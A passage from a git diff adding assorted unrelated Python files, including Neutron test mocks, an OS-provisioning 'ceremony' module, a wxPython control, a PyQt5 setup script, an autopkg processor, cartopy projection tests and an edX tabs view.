query_params=q_p) + if subnets: + for p in self._list('ports', query_params=q_p).get('ports'): + self._delete('ports', p['id']) + self._delete('subnets', self._mgmt_subnet['subnet']['id']) + self._delete('networks', self._mgmt_nw['network']['id']) + + # Function used to mock novaclient services list + def _novaclient_services_list(self, all=True): + services = set(['nova-conductor', 'nova-cert', 'nova-scheduler', + 'nova-compute', 'nova-consoleauth']) + full_list = [FakeResource(binary=res) for res in services] + _all = all + + def response(): + if _all: + return full_list + else: + return full_list[2:] + return response + + # Function used to mock novaclient servers create + def _novaclient_servers_create(self, instance_name, image_id, flavor_id, + nics, files, config_drive): + fake_vm = FakeResource() + for nic in nics: + p_dict = {'port': {'device_id': fake_vm.id, + 'device_owner': 'nova'}} + self._core_plugin.update_port(n_context.get_admin_context(), + nic['port-id'], p_dict) + return fake_vm + + # Function used to mock novaclient servers delete + def _novaclient_servers_delete(self, vm_id): + q_p = "device_id=%s" % vm_id + ports = self._list('ports', query_params=q_p) + for port in ports.get('ports', []): + try: + self._delete('ports', port['id']) + except Exception as e: + with excutils.save_and_reraise_exception(reraise=False): + LOG.error(_LE('Failed to delete port %(p_id)s for vm ' + 'instance %(v_id)s due to %(err)s'), + {'p_id': port['id'], 'v_id': vm_id, 'err': e}) + raise nova_exc.InternalServerError() + + def _mock_svc_vm_create_delete(self, plugin): + # Mock novaclient methods for creation/deletion of service VMs + mock.patch( + VM_LIB + '.n_utils.find_resource', + lambda *args, **kw: FakeResource()).start() + self._nclient_services_mock = mock.MagicMock() + self._nclient_services_mock.list = self._novaclient_services_list() + mock.patch.object(plugin._svc_vm_mgr._nclient, 'services', + self._nclient_services_mock).start() + nclient_servers_mock = mock.MagicMock() + nclient_servers_mock.create = self._novaclient_servers_create + nclient_servers_mock.delete = self._novaclient_servers_delete + mock.patch.object(plugin._svc_vm_mgr._nclient, 'servers', + nclient_servers_mock).start() + + def _mock_io_file_ops(self): + # Mock library functions for config drive file operations + cfg_template = '\n'.join(['interface GigabitEthernet1', + 'ip address ', + 'no shutdown']) + m = mock.mock_open(read_data=cfg_template) + m.return_value.__iter__.return_value = cfg_template.splitlines() + mock.patch('networking_cisco.plugins.cisco.l3.hosting_device_drivers.' + 'csr1kv_hd_driver.open', m, create=True).start() + + def _test_remove_all_hosting_devices(self): + """Removes all hosting devices created during a test.""" + plugin = manager.NeutronManager.get_service_plugins()[ + constants.L3_ROUTER_NAT] + context = n_context.get_admin_context() + plugin.delete_all_hosting_devices(context, True) + + def _get_fake_resource(self, tenant_id=None, id=None): + return {'id': id or _uuid(), + 'tenant_id': tenant_id or _uuid()} + + def _get_test_context(self, user_id=None, tenant_id=None, is_admin=False): + return n_context.Context(user_id, tenant_id, is_admin, + load_admin_roles=True) + + +# Used to fake Glance images, Nova VMs and Nova services +class FakeResource(object): + def __init__(self, id=None, enabled='enabled', state='up', binary=None): + self.id = id or _uuid() + self.status = enabled + self.state = state + self.binary = binary diff --git a/pool/shard009/Python/0084549_pipeline.py b/pool/shard009/Python/0084549_pipeline.py new file mode 100644 index 0000000000000000000000000000000000000000..ea795e338852b14cdc3306af825faec61a5b4d41 --- /dev/null +++ b/pool/shard009/Python/0084549_pipeline.py @@ -0,0 +1,116 @@ +# -*- coding: utf-8 -*- + +# below imports enables python 2 and 3 compatible codes +# requires python-future, install by `pip install future` +from __future__ import (absolute_import, division, + print_function, unicode_literals) +from builtins import * + +import asyncio +import collections + + +class Pipeline(object): + """ + pipeline to connect settings for streamline data processing. + Example: + p = PipeLine([list of functions]) + p.process(data_in) + p.close() to close the pipeline + """ + + def __init__(self): + pass + + def build(self, func_list): + """ + + Args: + func_list (list): a list of function to run through pipeline + """ + self.func_list = func_list + self.func_names = [func.__name__ for func in self.func_list] + self.pipeline = connect(self.func_list) + self.run_event = asyncio.get_event_loop() + + + def insert(self, position, func): + """ + + Args: + position (int): the position to inser the function into the pipeline + func (function/list of function): function to be inserted in to the pipeline + """ + if isinstance(func, list): + for f in func: + self.func_list.insert(position, pipenize(f)) + self.func_names.insert(position, f.__name__) + elif callable(func): + self.func_list.insert(position, pipenize(func)) + self.func_names.insert(position, func.__name__) + self.pipeline = connect(self.func_list) + + def pop_by_name(self, func_name): + """ + + Args: + func_name (str): name of function to be popped out of the pipeline + """ + if callable(func_name): + func_name = func_name.__name__ + idx = self.func_names.index(func_name) + self.func_list.pop(idx) + self.func_names.pop(idx) + self.pipeline = connect(self.func_list) + + def pop_by_idx(self, idx): + """ + + Args: + func_idx (int): index of function to be popped out of the pipeline + this is useful when there are functions with same name but idx will be different + """ + self.func_list.pop(idx) + self.func_names.pop(idx) + self.pipeline = connect(self.func_list) + + def swap_by_name(self, func1_name, func2_name): + """ + Args: + func1_name: the first name of the function to be swapped + func2_name: the second name of the function to be swapped + """ + # TODO: swap two functions in the pipeline by name + pass + + def swap_by_idx(self, idx1, idx2): + """ + Args: + idx1: the first index of the function to be swapped + idx2: the second index of the function to be swapped + """ + # TODO: swap two functions in the pipeline by index + pass + + def process(self, data_in): + """ + process data or iterable data_source, then yield the result + + Args: + data_in: input data of the pipeline, this can be data or iterable data source + """ + print(data_in) + if isinstance(data_in, collections.Iterable): + for d in data_in: + yield self.run_event.run_until_complete(self.pipeline(d)) + + else: + yield self.run_event.run_until_complete(self.pipeline(data_in)) + + self.close() + + def close(self): + """ + close pipeline, stop yielding results, close the async threads + """ + self.run_event.close() diff --git a/pool/shard009/Python/0084551_ceremony.py b/pool/shard009/Python/0084551_ceremony.py new file mode 100644 index 0000000000000000000000000000000000000000..d8facd9ed833661f69a7ae8455b60a434ff73300 --- /dev/null +++ b/pool/shard009/Python/0084551_ceremony.py @@ -0,0 +1,219 @@ +from inaugurator import partitiontable +from inaugurator import targetdevice +from inaugurator import mount +from inaugurator import sh +from inaugurator import network +from inaugurator import loadkernel +from inaugurator import fstab +from inaugurator import passwd +from inaugurator import osmose +from inaugurator import osmosiscleanup +from inaugurator import talktoserver +from inaugurator import grub +from inaugurator import diskonkey +from inaugurator import cdrom +from inaugurator import udev +from inaugurator import download +from inaugurator import etclabelfile +from inaugurator import lvmetad +from inaugurator import verify +import os +import time +import logging + + +class Ceremony: + def __init__(self, args): + """ + args is a 'namespace' - an object, or maybe a bunch. The following members are required: + inauguratorClearDisk - True will cause the disk to be erase even if partition layout is ok + inauguratorSource - 'network', 'DOK' (Disk On Key), 'CDROM' or 'local' - select from where the label + should be osmosed. 'local' means the label is already in the local object + store, and is used in upgrades. + inauguratorServerAMQPURL - the rabbitmq AMQP url to report status to. Can be 'None'. If used, + the label itself is expected to come from a rabbitmq message. + inauguratorMyIDForServer - the unique ID for this station, used for status reporting. + inauguratorNetworkLabel - the label to use, in 'network' mode, if inauguratorServerAMQPURL was + not specified + inauguratorOsmosisObjectStores - the object store chain used when invoking osmosis (see osmosis + documentation + inauguratorUseNICWithMAC - use this specific NIC, with this specific MAC address + inauguratorIPAddress - the IP address to configure to that NIC + inauguratorNetmask + inauguratorGateway + inauguratorChangeRootPassword - change the password in /etc/shadow to this + inauguratorWithLocalObjectStore - use /var/lib/osmosis local object store as first tier in chain. + inauguratorPassthrough - pass parameters to the kexeced kernel. Reminder: kexeced kernel are + more vunerable to crashing, using this as the only channel of communication + is risky + inauguratorDownload - http get this file into a specific location, right before kexecing. + inauguratorIgnoreDirs - ignore the following locations on disk, in the osmosis process. This is + usedful for upgrades - to keep the current configuration somewhere. + inauguratorTargetDeviceCandidate - a list of devices (['/dev/vda', '/dev/sda']) to use as the + inauguration target + """ + self._args = args + self._talkToServer = None + self._assertArgsSane() + + def ceremony(self): + before = time.time() + self._makeSureDiskIsMountable() + with self._mountOp.mountRoot() as destination: + self._etcLabelFile = etclabelfile.EtcLabelFile(destination) + self._doOsmosisFromSource(destination) + logging.info("Osmosis complete") + self._createBootAndInstallGrub(destination) + logging.info("Boot sync complete") + self._configureETC(destination) + self._loadKernelForKexecing(destination) + logging.info("kernel loaded") + self._additionalDownload(destination) + self._sync() + if self._args.inauguratorVerify: + self._verify() + self._sync() + after = time.time() + if self._talkToServer is not None: + self._talkToServer.done() + logging.info("Inaugurator took: %(interval).2fs. KEXECing", dict(interval=after - before)) + self._loadKernel.execute() + + def _assertArgsSane(self): + logging.info("Command line arguments: %(args)s", dict(args=self._args)) + if self._args.inauguratorSource == "network": + assert ( + (self._args.inauguratorServerAMQPURL or self._args.inauguratorNetworkLabel) and + self._args.inauguratorOsmosisObjectStores and + self._args.inauguratorUseNICWithMAC and self._args.inauguratorIPAddress and + self._args.inauguratorNetmask and self._args.inauguratorGateway), \ + "If inauguratorSource is 'network', all network command line paramaters must be specified" + if self._args.inauguratorServerAMQPURL: + assert self._args.inauguratorMyIDForServer, \ + 'If communicating with server, must specifiy --inauguratorMyIDForServer' + elif self._args.inauguratorSource in ["DOK", "local", "CDROM"]: + pass + else: + assert False, "Unknown source for inaugurator: %s" % self._args.inauguratorSource + + def _createPartitionTable(self): + lvmetad.Lvmetad() + partitionTable = partitiontable.PartitionTable(self._targetDevice) + if self._args.inauguratorClearDisk: + partitionTable.clear() + partitionTable.verify() + + def _configureETC(self, destination): + self._etcLabelFile.write(self._label) + fstab.createFSTab( + rootPath=destination, root=self._mountOp.rootPartition(), + boot=self._mountOp.bootPartition(), swap=self._mountOp.swapPartition()) + logging.info("/etc/fstab created") + if self._args.inauguratorChangeRootPassword: + passwd.setRootPassword(destination, self._args.inauguratorChangeRootPassword) + logging.info("Changed root password") + + def _createBootAndInstallGrub(self, destination): + with self._mountOp.mountBoot() as bootDestination: + sh.run("rsync -rlpgDS --delete-before %s/boot/ %s/" % (destination, bootDestination)) + with self._mountOp.mountBootInsideRoot(): + logging.info("Installing grub") + grub.install(self._targetDevice, destination) + + def _osmosFromNetwork(self, destination): + network.Network( + macAddress=self._args.inauguratorUseNICWithMAC, ipAddress=self._args.inauguratorIPAddress, + netmask=self._args.inauguratorNetmask, gateway=self._args.inauguratorGateway) + if self._args.inauguratorServerAMQPURL: + self._talkToServer = talktoserver.TalkToServer( + amqpURL=self._args.inauguratorServerAMQPURL, myID=self._args.inauguratorMyIDForServer) + self._talkToServer.checkIn() + osmos = osmose.Osmose( + destination=destination, + objectStores=self._args.inauguratorOsmosisObjectStores, + withLocalObjectStore=self._args.inauguratorWithLocalObjectStore, + ignoreDirs=self._args.inauguratorIgnoreDirs, + talkToServer=self._talkToServer) + if self._args.inauguratorServerAMQPURL: + self._label = self._talkToServer.label() + else: + self._label = self._args.inauguratorNetworkLabel + osmos.tellLabel(self._label) + osmos.wait() + + def _osmosFromDOK(self, destination): + dok = diskonkey.DiskOnKey() + with dok.mount() as source: + osmos = osmose.Osmose( + destination, objectStores=source + "/osmosisobjectstore", + withLocalObjectStore=self._args.inauguratorWithLocalObjectStore, + ignoreDirs=self._args.inauguratorIgnoreDirs, + talkToServer=self._talkToServer) + with open("%s/inaugurate_label.txt" % source) as f: + self._label = f.read().strip() + osmos.tellLabel(self._label) # This must stay under the dok mount 'with' statement + osmos.wait() + + def _osmosFromCDROM(self, destination): + cdromInstance = cdrom.Cdrom() + with cdromInstance.mount() as source: + osmos = osmose.Osmose( + destination, objectStores=source + "/osmosisobjectstore", + withLocalObjectStore=self._args.inauguratorWithLocalObjectStore, + ignoreDirs=self._args.inauguratorIgnoreDirs, + talkToServer=self._talkToServer) + with open("%s/inaugurate_label.txt" % source) as f: + self._label = f.read().strip() + osmos.tellLabel(self._label) # This must stay under the mount 'with' statement + osmos.wait() + + def _osmosFromLocalObjectStore(self, destination): + osmos = osmose.Osmose( + destination, objectStores=None, + withLocalObjectStore=self._args.inauguratorWithLocalObjectStore, + ignoreDirs=self._args.inauguratorIgnoreDirs, + talkToServer=self._talkToServer) + self._label = self._args.inauguratorNetworkLabel + osmos.tellLabel(self._label) + osmos.wait() + + def _sync(self): + logging.info("sync...") + sh.run(["busybox", "sync"]) + logging.info("sync done") + + def _additionalDownload(self, destination): + if self._args.inauguratorDownload: + downloadInstance = download.Download(self._args.inauguratorDownload) + downloadInstance.download(destination) + + def _makeSureDiskIsMountable(self): + udev.loadAllDrivers() + self._targetDevice = targetdevice.TargetDevice.device(self._args.inauguratorTargetDeviceCandidate) + self._createPartitionTable() + logging.info("Partitions created") + self._mountOp = mount.Mount(self._targetDevice) + + def _loadKernelForKexecing(self, destination): + self._loadKernel = loadkernel.LoadKernel() + self._loadKernel.fromBootPartitionGrubConfig( + bootPath=os.path.join(destination, "boot"), rootPartition=self._mountOp.rootPartition(), + append=self._args.inauguratorPassthrough) + + def _doOsmosisFromSource(self, destination): + osmosiscleanup.OsmosisCleanup(destination) + if self._args.inauguratorSource == 'network': + self._osmosFromNetwork(destination) + elif self._args.inauguratorSource == 'DOK': + self._osmosFromDOK(destination) + elif self._args.inauguratorSource == 'CDROM': + self._osmosFromCDROM(destination) + elif self._args.inauguratorSource == 'local': + self._osmosFromLocalObjectStore(destination) + else: + assert False, "Unknown source %s" % self._args.inauguratorSource + + def _verify(self): + verify.Verify.dropCaches() + with self._mountOp.mountRoot() as destination: + verify.Verify(destination, self._label, self._talkToServer).go() diff --git a/pool/shard009/Python/0084554_txtentry.py b/pool/shard009/Python/0084554_txtentry.py new file mode 100644 index 0000000000000000000000000000000000000000..bd296be666418c3fe3d5efa2817a9fe41cece2cc --- /dev/null +++ b/pool/shard009/Python/0084554_txtentry.py @@ -0,0 +1,96 @@ +############################################################################### +# Name: txtentry.py # +# Purpose: Text entry control base clases # +# Author: Cody Precord # +# Copyright: (c) 2008 Cody Precord # +# License: wxWindows License # +############################################################################### + +""" +Editra Control Library: TextEntry + +Text entry base and helper classes. + +""" + +__author__ = "Cody Precord " +__svnid__ = "$Id: txtentry.py 67500 2011-04-15 22:51:55Z CJP $" +__revision__ = "$Revision: 67500 $" + +__all__ = ["CommandEntryBase",] + +#-----------------------------------------------------------------------------# +# Imports +import wx + +#-----------------------------------------------------------------------------# + +class CommandEntryBase(wx.SearchCtrl): + """Base single line text control with key event handling callbacks.""" + def __init__(self, parent, id=wx.ID_ANY, value='', pos=wx.DefaultPosition, + size=wx.DefaultSize, style=0, validator=wx.DefaultValidator, + name="CommandEntryBase"): + + clone = None + if validator != wx.DefaultValidator: + clone = validator.Clone() + + super(CommandEntryBase, self).__init__(parent, id, value, pos, + size, style, validator, name) + + # Attributes + self._txtctrl = None # For msw/gtk + self._enterhook = None + + # Hide the search button and text by default + self.ShowSearchButton(False) + self.ShowCancelButton(False) + self.SetDescriptiveText(wx.EmptyString) + + # MSW/GTK HACK need to bind directly to the text control component + if wx.Platform in ['__WXGTK__', '__WXMSW__']: + for child in self.GetChildren(): + if isinstance(child, wx.TextCtrl): + if clone is not None: + child.SetValidator(clone) + self._txtctrl = child + child.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown) + child.Bind(wx.EVT_KEY_UP, self.OnKeyUp) + break + else: + self._txtctrl = self + self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown) + self.Bind(wx.EVT_KEY_UP, self.OnKeyUp) + + # Event management + self.Bind(wx.EVT_TEXT_ENTER, self.OnEnter) + + EnterCallback = property(lambda self: self._enterhook, + lambda self, cback: setattr(self, '_enterhook', cback)) + + def GetTextControl(self): + """Get the wx.TextCtrl window. + @note: only for msw/gtk + + """ + return self._txtctrl + + def OnKeyDown(self, evt): + """Handle KeyDown events""" + evt.Skip() + + def OnKeyUp(self, evt): + """Handle KeyUp events""" + evt.Skip() + + def OnEnter(self, evt): + """Handle the Enter key event""" + if self.EnterCallback: + self.EnterCallback() + else: + evt.Skip() + + def SetFocus(self): + """Set the focus and select the text in the field""" + super(CommandEntryBase, self).SetFocus() + self.SelectAll() diff --git a/pool/shard009/Python/0084555_setup.py b/pool/shard009/Python/0084555_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..525965beeb0e01360d1588b9aac5be16c902ce37 --- /dev/null +++ b/pool/shard009/Python/0084555_setup.py @@ -0,0 +1,97 @@ +import os +import sys +import platform + +from setuptools import setup, find_packages + +import util + +if os.name != "nt": + print(""" +\nThe binaries distributed with this version are Windows only, +- If you are on linux, look at +github.com/pyqt/python-qt5/wiki/Compiling-PyQt5-on-Ubuntu-12.04. +- If you are on OS X, look at the OSX specific port: +github.com/pyqt/python-qt5-mavericks +""") + + sys.exit() + +if "64bit" not in platform.architecture(): + print(""" +\nThe binaries distributed wtih this version are for the +64-bit version of Python only. +""") + + sys.exit() + +def get_version(): + repo_dir = os.path.dirname(__file__) + sys.path.insert(0, repo_dir) + import PyQt5 + return PyQt5.__version__ + + +def get_package_data(): + """Include all files from all sub-directories""" + package_data = dict() + + package_data['PyQt5'] = list() + for subdir in ("doc/", "examples/", "include/", + "mkspecs/", "plugins/", "qml/", + "qsci/", "sip/", "translations/", "uic/"): + abspath = os.path.abspath("PyQt5/" + subdir) + for root, dirs, files in os.walk(abspath): + for f in files: + fpath = os.path.join(root, f) + relpath = os.path.relpath(fpath, abspath) + relpath = relpath.replace("\\", "/") + package_data['PyQt5'].append(subdir + relpath) + + package_data['PyQt5'].extend(["*.exe", + "*.dll", + "*.pyd", + "*.conf", + "*.api", + "*.qm", + "*.bat"]) + return package_data + + +def get_data_files(): + return [('', ['qt.conf'])] + + +def get_readme(): + with open('README.txt') as f: + readme = f.read() + return readme + + +classifiers = [ + 'Development Status :: 4 - Beta', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)', + 'Programming Language :: Python', + 'Programming Language :: Python :: 2', + 'Programming Language :: Python :: 2.7', + 'Topic :: Software Development :: Libraries :: Python Modules', + 'Topic :: Utilities' +] + + +setup( + name='python-qt5', + version=get_version(), + description='PyQt5', + long_description=get_readme(), + author='Marcus Ottosson', + author_email='marcus@abstractfactory.com', + url='https://github.com/pyqt/python-qt5', + license='GPLv3', + packages=find_packages(), + zip_safe=False, + classifiers=classifiers, + package_data=get_package_data(), + data_files=get_data_files() +) diff --git a/pool/shard009/Python/0084568_1751-slowest-key.py b/pool/shard009/Python/0084568_1751-slowest-key.py new file mode 100644 index 0000000000000000000000000000000000000000..13bde6225157e28d2225173dd4ee99c232d2a635 --- /dev/null +++ b/pool/shard009/Python/0084568_1751-slowest-key.py @@ -0,0 +1,12 @@ +class Solution: + def slowestKey(self, releaseTimes: List[int], keysPressed: str) -> str: + pressed=[0]*26 + lastRelease=0 + for i in range(len(releaseTimes)): + index=ord(keysPressed[i])-ord('a') + pressed[index]=max(pressed[index],releaseTimes[i]-lastRelease) + lastRelease=releaseTimes[i] + maxPressed=max(pressed) + for i in range(25,-1,-1): + if pressed[i]==maxPressed: + return chr(i+ord('a')) \ No newline at end of file diff --git a/pool/shard009/Python/0084574_ErlangURLProvider.py b/pool/shard009/Python/0084574_ErlangURLProvider.py new file mode 100644 index 0000000000000000000000000000000000000000..54aa24188d733e62e6f407b34282031f8e4bd771 --- /dev/null +++ b/pool/shard009/Python/0084574_ErlangURLProvider.py @@ -0,0 +1,115 @@ +#!/usr/bin/python +# encoding: utf-8 +''' +ErlangURLProvider.py + +Custom Processor for autopkg that provides URL to specific version of +ESL Erlang + +Copyright (C) University of Oxford 2015 + Ben Goodstein + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +''' + +import urllib2 +import json +import re + +from autopkglib import Processor, ProcessorError + +__all__ = [u'ErlangURLProvider'] + +# Define constants +BASE_URL = u'https://packages.erlang-solutions.com/site/' +JSON_URL = BASE_URL + u'erlang/packages.json' +DOWNLOAD_BASE_URL = BASE_URL + 'esl/' +_FLAVOURS = { 0: u'general', + 1: u'esl' + } +DEFAULT_FLAVOUR = u'general' +DEFAULT_TARGET = u'10.10' +DEFAULT_VERSION = u'latest' + +class ErlangURLProvider(Processor): + '''Provides URL to the latest ESL Erlang release.''' + description = __doc__ + input_variables = { + 'target_os': { + 'required': False, + 'description': ('OS X version. Defaults to %s. Can be 10.10, 10.9 or 10.6.8' + % DEFAULT_TARGET) + }, + 'flavour': { + 'required': False, + 'description': ('Flavour of Erlang. Defaults to %s. Can be general or esl' + % DEFAULT_FLAVOUR) + }, + 'version': { + 'required': False, + 'description': ('Download version number. Defaults to %s' + % DEFAULT_VERSION) + } + } + output_variables = { + 'url': { + 'description': ('URL to the required version of Erlang') + }, + 'version': { + 'description': ('Version for this download') + } + } + + def lookup_flavour(self, flav_name): + '''Return flavour code from flavour name''' + for k,v in _FLAVOURS.items(): + if v == flav_name: + return k + + def main(self): + '''Do our processor task!''' + target_os = self.env.get('target_os', DEFAULT_TARGET) + flavour = self.env.get('flavour', DEFAULT_FLAVOUR) + get_version = self.env.get('version', DEFAULT_VERSION) + response = urllib2.urlopen(JSON_URL).read() + response = re.sub('\);', '', re.sub('^jsonCallback\(', '', response)) + erlang_tabs = json.loads(response)[u'tabs'] + + # Use OS X information from json + osx_tab = (tab for tab in erlang_tabs if tab[u'name'] == u'osx').next() + # Select packages based on 'flavour' + flavour_index = self.lookup_flavour(flavour) + packages = osx_tab[u'flavours'][flavour_index][u'packages'] + # Filter the list based on the OS version we require + filtered_packages = [package for package in packages + if package[u'os'] == u'Mac OS X ' + target_os] + + if get_version == u'latest': + url = DOWNLOAD_BASE_URL + filtered_packages[0][u'path'] + else: + try: + url = DOWNLOAD_BASE_URL + (package for package in filtered_packages + if package[u'version'] == get_version).next()[u'path'] + except StopIteration: + raise ProcessorError('Specified package version %s could not be found for specified OS version %s' + % (get_version, target_os)) + + version = re.match(r'.+erlang_(.+)~osx.+', url).group(1) + + self.env['url'] = url + self.env['version'] = version + +if __name__ == '__main__': + PROCESSOR = ErlangURLProvider() + PROCESSOR.execute_shell() diff --git a/pool/shard009/Python/0084576_DB.py b/pool/shard009/Python/0084576_DB.py new file mode 100644 index 0000000000000000000000000000000000000000..12b1f17a8c73c62b4850c7bd1fed4ab7e60e0345 --- /dev/null +++ b/pool/shard009/Python/0084576_DB.py @@ -0,0 +1,21 @@ +#!/bin/env python +# -*- coding: utf-8 -*- + +import LoadConfig +config = LoadConfig.LoadConfig() +import MySQLdb +from ErrorsHandler import * + +class DB: + def __init__(self): + logger.info("instantiated DB class") + + def connect(self): + db = MySQLdb.connect(host=config.DBhost, user=config.DBuser, passwd=config.DBpass, db=config.DB) + if not hasattr(db, 'set_character_set'): + print "NO" + #db.character_set_name('utf8') + else: + db.set_character_set('utf8') + + return db diff --git a/pool/shard009/Python/0084585_test_albers_equal_area.py b/pool/shard009/Python/0084585_test_albers_equal_area.py new file mode 100644 index 0000000000000000000000000000000000000000..f6e040121845affef5feea89e7bcedc7f5f12889 --- /dev/null +++ b/pool/shard009/Python/0084585_test_albers_equal_area.py @@ -0,0 +1,145 @@ +# (C) British Crown Copyright 2015 - 2016, Met Office +# +# This file is part of cartopy. +# +# cartopy is free software: you can redistribute it and/or modify it under +# the terms of the GNU Lesser General Public License as published by the +# Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# cartopy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with cartopy. If not, see . +""" +Tests for the Albers Equal Area coordinate system. + +""" + +from __future__ import (absolute_import, division, print_function) + +import unittest + +import numpy as np +from numpy.testing import assert_almost_equal +from nose.tools import assert_equal + +import cartopy.crs as ccrs + + +class TestAlbersEqualArea(unittest.TestCase): + def test_default(self): + aea = ccrs.AlbersEqualArea() + expected = ('+ellps=WGS84 +proj=aea +lon_0=0.0 +lat_0=0.0 ' + '+x_0=0.0 +y_0=0.0 +lat_1=20.0 +lat_2=50.0 +no_defs') + assert_equal(aea.proj4_init, expected) + + assert_almost_equal(np.array(aea.x_limits), + [-17702759.799178038, 17702759.799178038], + decimal=0) + assert_almost_equal(np.array(aea.y_limits), + [-4782937.05107294, 15922623.93176938], + decimal=4) + + def test_eccentric_globe(self): + globe = ccrs.Globe(semimajor_axis=1000, semiminor_axis=500, + ellipse=None) + aea = ccrs.AlbersEqualArea(globe=globe) + expected = ('+a=1000 +b=500 +proj=aea +lon_0=0.0 +lat_0=0.0 ' + '+x_0=0.0 +y_0=0.0 +lat_1=20.0 +lat_2=50.0 +no_defs') + assert_equal(aea.proj4_init, expected) + + assert_almost_equal(np.array(aea.x_limits), + [-2323.47073363411, 2323.47073363411], + decimal=-2) + assert_almost_equal(np.array(aea.y_limits), + [-572.556243423972, 2402.36176984391], + decimal=10) + + def test_eastings(self): + aea_offset = ccrs.AlbersEqualArea(false_easting=1234, + false_northing=-4321) + + expected = ('+ellps=WGS84 +proj=aea +lon_0=0.0 +lat_0=0.0 ' + '+x_0=1234 +y_0=-4321 +lat_1=20.0 +lat_2=50.0 +no_defs') + assert_equal(aea_offset.proj4_init, expected) + + def test_standard_parallels(self): + aea = ccrs.AlbersEqualArea(standard_parallels=(13, 37)) + expected = ('+ellps=WGS84 +proj=aea +lon_0=0.0 +lat_0=0.0 ' + '+x_0=0.0 +y_0=0.0 +lat_1=13 +lat_2=37 +no_defs') + assert_equal(aea.proj4_init, expected) + + aea = ccrs.AlbersEqualArea(standard_parallels=(13, )) + expected = ('+ellps=WGS84 +proj=aea +lon_0=0.0 +lat_0=0.0 ' + '+x_0=0.0 +y_0=0.0 +lat_1=13 +no_defs') + assert_equal(aea.proj4_init, expected) + + aea = ccrs.AlbersEqualArea(standard_parallels=13) + expected = ('+ellps=WGS84 +proj=aea +lon_0=0.0 +lat_0=0.0 ' + '+x_0=0.0 +y_0=0.0 +lat_1=13 +no_defs') + assert_equal(aea.proj4_init, expected) + + def test_sphere_transform(self): + # USGS Professional Paper 1395, pg 291 + globe = ccrs.Globe(semimajor_axis=1.0, semiminor_axis=1.0, + ellipse=None) + lat_1 = 29 + 30 / 60 + lat_2 = 45 + 30 / 60 + aea = ccrs.AlbersEqualArea(central_latitude=23.0, + central_longitude=-96.0, + standard_parallels=(lat_1, lat_2), + globe=globe) + geodetic = aea.as_geodetic() + + expected = ('+a=1.0 +b=1.0 +proj=aea +lon_0=-96.0 +lat_0=23.0 ' + '+x_0=0.0 +y_0=0.0 +lat_1=29.5 +lat_2=45.5 +no_defs') + assert_equal(aea.proj4_init, expected) + + assert_almost_equal(np.array(aea.x_limits), + [-2.6525072042232, 2.6525072042232], + decimal=3) + assert_almost_equal(np.array(aea.y_limits), + [-1.09628087472359, 2.39834724057551], + decimal=10) + + result = aea.transform_point(-75.0, 35.0, geodetic) + + assert_almost_equal(result, [0.2952720, 0.2416774]) + + def test_ellipsoid_transform(self): + # USGS Professional Paper 1395, pp 292 -- 293 + globe = ccrs.Globe(semimajor_axis=6378206.4, + flattening=1 - np.sqrt(1 - 0.00676866), + ellipse=None) + lat_1 = 29 + 30 / 60 + lat_2 = 45 + 30 / 60 + aea = ccrs.AlbersEqualArea(central_latitude=23.0, + central_longitude=-96.0, + standard_parallels=(lat_1, lat_2), + globe=globe) + geodetic = aea.as_geodetic() + + expected = ('+a=6378206.4 +f=0.003390076308689371 +proj=aea ' + '+lon_0=-96.0 +lat_0=23.0 +x_0=0.0 +y_0=0.0 ' + '+lat_1=29.5 +lat_2=45.5 +no_defs') + assert_equal(aea.proj4_init, expected) + + assert_almost_equal(np.array(aea.x_limits), + [-16900972.674607, 16900972.674607], + decimal=-3) + assert_almost_equal(np.array(aea.y_limits), + [-6971893.11311231, 15298166.8919989], + decimal=1) + + result = aea.transform_point(-75.0, 35.0, geodetic) + + assert_almost_equal(result, [1885472.7, 1535925.0], decimal=1) + + +if __name__ == '__main__': + import nose + nose.runmodule(argv=['-s', '--with-doctest'], exit=False) diff --git a/pool/shard009/Python/0084590_tabs.py b/pool/shard009/Python/0084590_tabs.py new file mode 100644 index 0000000000000000000000000000000000000000..4a34886ebc9f94515e48cc138fb92926e5b32516 --- /dev/null +++ b/pool/shard009/Python/0084590_tabs.py @@ -0,0 +1,192 @@ +""" +Views related to course tabs +""" +from access import has_course_access +from util.json_request import expect_json, JsonResponse + +from django.http import HttpResponseNotFound +from django.contrib.auth.decorators import login_required +from django.core.exceptions import PermissionDenied +from django_future.csrf import ensure_csrf_cookie +from django.views.decorators.http import require_http_methods +from edxmako.shortcuts import render_to_response +from xmodule.modulestore import Location +from xmodule.modulestore.inheritance import own_metadata +from xmodule.modulestore.django import modulestore +from xmodule.modulestore.django import loc_mapper +from xmodule.modulestore.locator import BlockUsageLocator + +from ..utils import get_modulestore + +from django.utils.translation import ugettext as _ + +__all__ = ['tabs_handler'] + + +def initialize_course_tabs(course): + """ + set up the default tabs + I've added this because when we add static tabs, the LMS either expects a None for the tabs list or + at least a list populated with the minimal times + @TODO: I don't like the fact that the presentation tier is away of these data related constraints, let's find a better + place for this. Also rather than using a simple list of dictionaries a nice class model would be helpful here + """ + + # This logic is repeated in xmodule/modulestore/tests/factories.py + # so if you change anything here, you need to also change it there. + course.tabs = [ + # Translators: "Courseware" is the title of the page where you access a course's videos and problems. + {"type": "courseware", "name": _("Courseware")}, + # Translators: "Course Info" is the name of the course's information and updates page + {"type": "course_info", "name": _("Course Info")}, + # Translators: "Discussion" is the title of the course forum page + {"type": "discussion", "name": _("Discussion")}, + # Translators: "Wiki" is the title of the course's wiki page + {"type": "wiki", "name": _("Wiki")}, + # Translators: "Progress" is the title of the student's grade information page + {"type": "progress", "name": _("Progress")}, + ] + + modulestore('direct').update_metadata(course.location.url(), own_metadata(course)) + +@expect_json +@login_required +@ensure_csrf_cookie 